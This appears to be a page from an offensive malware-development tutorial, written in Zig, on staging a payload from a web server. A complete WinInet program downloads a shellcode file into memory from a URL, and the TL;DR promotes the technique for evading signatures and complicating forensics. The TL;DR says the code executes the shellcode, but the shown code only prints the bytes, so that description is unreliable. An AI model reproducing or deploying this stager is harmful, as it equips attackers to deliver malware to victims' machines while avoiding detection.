Using Web Server
TL;DR
Payload staging via web server downloads the malicious code from a remote location when the program executes. By keeping the payload off disk until it is needed, this method reduces the signature of the binary and allows attackers to deliver updated payloads on demand. The example sets up an HTTP request to a specified URL, retrieves the binary data, and then executes the downloaded shellcode directly in memory. Staging payloads remotely also facilitates command and control style operations and can complicate forensic analysis.
Code Walkthrough
main.zig
const std = @import("std");
const windows = std.os.windows;
const print = std.debug.print;
// Python -m http.server 8000
// Have calc.bin in the directory
// Change this URL if you need
const PAYLOAD: [*:0]const u16 = std.unicode.utf8ToUtf16LeStringLiteral("http://127.0.0.1:8000/calc.bin");
// Windows API types
const HANDLE = windows.HANDLE;
const DWORD = windows.DWORD;
const BOOL = windows.BOOL;
const LPVOID = *anyopaque;
const LPCWSTR = [*:0]const u16;
const SIZE_T = usize;
const PBYTE = [*]u8;
// WinInet types
const HINTERNET = *anyopaque;
// WinInet constants
const INTERNET_FLAG_HYPERLINK = 0x00000400;
const INTERNET_FLAG_IGNORE_CERT_DATE_INVALID = 0x00002000;
const INTERNET_OPTION_SETTINGS_CHANGED = 39;
const LPTR = 0x0040;
const LMEM_MOVEABLE = 0x0002;
const LMEM_ZEROINIT = 0x0040;
// Windows API function declarations
extern "kernel32" fn GetLastError() callconv(.C) DWORD;
extern "kernel32" fn LocalAlloc(uFlags: DWORD, uBytes: SIZE_T) callconv(.C) ?LPVOID;
extern "kernel32" fn LocalReAlloc(hMem: LPVOID, uBytes: SIZE_T, uFlags: DWORD) callconv(.C) ?LPVOID;
extern "kernel32" fn LocalFree(hMem: LPVOID) callconv(.C) LPVOID;
// WinInet API function declarations
extern "wininet" fn InternetOpenW(lpszAgent: LPCWSTR, dwAccessType: DWORD, lpszProxy: ?LPCWSTR, lpszProxyBypass: ?LPCWSTR, dwFlags: DWORD) callconv(.C) ?HINTERNET;
extern "wininet" fn InternetOpenUrlW(hInternet: HINTERNET, lpszUrl: LPCWSTR, lpszHeaders: ?LPCWSTR, dwHeadersLength: DWORD, dwFlags: DWORD, dwContext: usize) callconv(.C) ?HINTERNET;
extern "wininet" fn InternetReadFile(hFile: HINTERNET, lpBuffer: LPVOID, dwNumberOfBytesToRead: DWORD, lpdwNumberOfBytesRead: *DWORD) callconv(.C) BOOL;
extern "wininet" fn InternetCloseHandle(hInternet: HINTERNET) callconv(.C) BOOL;
extern "wininet" fn InternetSetOptionW(hInternet: ?HINTERNET, dwOption: DWORD, lpBuffer: ?LPVOID, dwBufferLength: DWORD) callconv(.C) BOOL;
// Get a file's payload from a url (http or https)
// Return a base address of a heap allocated buffer, thats the payload
// Return the payload's size
fn getPayloadFromUrl(sz_url: LPCWSTR, p_payload_bytes: *?PBYTE, s_payload_size: *SIZE_T) BOOL {
var h_internet: ?HINTERNET = null;
var h_internet_file: ?HINTERNET = null;
var p_tmp_bytes: ?LPVOID = null;
var p_bytes: ?LPVOID = null;
// Use defer to ensure cleanup happens regardless of how function exits
defer {
if (h_internet) |internet| {
_ = InternetCloseHandle(internet);
_ = InternetSetOptionW(null, INTERNET_OPTION_SETTINGS_CHANGED, null, 0);
}
if (h_internet_file) |file| {
_ = InternetCloseHandle(file);
}
if (p_tmp_bytes) |tmp| {
_ = LocalFree(tmp);
}
}
var dw_bytes_read: DWORD = 0;
var s_size: SIZE_T = 0; // Used as the total payload size
// Opening the internet session handle, all arguments are NULL here since no proxy options are required
h_internet = InternetOpenW(std.unicode.utf8ToUtf16LeStringLiteral("Black-Hat-Zig"), 0, // NULL
null, null, 0 // NULL
);
if (h_internet == null) {
print("[!] InternetOpenW Failed With Error : {d} \n", .{GetLastError()});
return 0; // FALSE
}
// Opening the handle to the payload using the payload's URL
h_internet_file = InternetOpenUrlW(h_internet.?, sz_url, null, 0, // NULL
INTERNET_FLAG_HYPERLINK | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, 0 // NULL
);
if (h_internet_file == null) {
print("[!] InternetOpenUrlW Failed With Error : {d} \n", .{GetLastError()});
return 0; // FALSE
}
// Allocating 1024 bytes to the temp buffer
p_tmp_bytes = LocalAlloc(LPTR, 1024);
if (p_tmp_bytes == null) {
return 0; // FALSE
}
while (true) {
// Reading 1024 bytes to the tmp buffer. The function will read less bytes in case the file is less than 1024 bytes.
if (InternetReadFile(h_internet_file.?, p_tmp_bytes.?, 1024, &dw_bytes_read) == 0) {
print("[!] InternetReadFile Failed With Error : {d} \n", .{GetLastError()});
if (p_bytes) |bytes| {
_ = LocalFree(bytes);
}
return 0; // FALSE
}
// Calculating the total size of the total buffer
s_size += dw_bytes_read;
// In case the total buffer is not allocated yet
// then allocate it equal to the size of the bytes read since it may be less than 1024 bytes
if (p_bytes == null) {
p_bytes = LocalAlloc(LPTR, dw_bytes_read);
} else {
// Otherwise, reallocate the pBytes to equal to the total size, sSize.
// This is required in order to fit the whole payload
p_bytes = LocalReAlloc(p_bytes.?, s_size, LMEM_MOVEABLE | LMEM_ZEROINIT);
}
if (p_bytes == null) {
return 0; // FALSE
}
// Append the temp buffer to the end of the total buffer
const dest_ptr = @as([*]u8, @ptrCast(p_bytes.?)) + (s_size - dw_bytes_read);
@memcpy(dest_ptr[0..dw_bytes_read], @as([*]u8, @ptrCast(p_tmp_bytes.?))[0..dw_bytes_read]);
// Clean up the temp buffer
@memset(@as([*]u8, @ptrCast(p_tmp_bytes.?))[0..dw_bytes_read], 0);
// If less than 1024 bytes were read it means the end of the file was reached
// Therefore exit the loop
if (dw_bytes_read < 1024) {
break;
}
// Otherwise, read the next 1024 bytes
}
// Saving
p_payload_bytes.* = @ptrCast(p_bytes.?);
s_payload_size.* = s_size;
return 1; // TRUE
}
pub fn main() !void {
var size: SIZE_T = 0;
var bytes: ?PBYTE = null;
// Reading the payload
if (getPayloadFromUrl(PAYLOAD, &bytes, &size) == 0) {
std.process.exit(1);
}
// Ensure we free the memory when done
defer if (bytes) |b| {
_ = LocalFree(b);
};
print("[i] Bytes : 0x{X} \n", .{@intFromPtr(bytes.?)});
print("[i] Size : {d} \n", .{size});
// Printing it
const payload_bytes = @as([*]u8, @ptrCast(bytes.?))[0..size];
for (payload_bytes, 0..) |byte, i| {
if (i % 16 == 0) {
print("\n\t", .{});
}
print("{X:0>2} ", .{byte});
}
print("\n\n", .{});
print("[#] Press <Enter> To Quit ... ", .{});
var buffer: [256]u8 = undefined;
_ = std.io.getStdIn().reader().readUntilDelimiterOrEof(buffer[0..], '\n') catch {};
}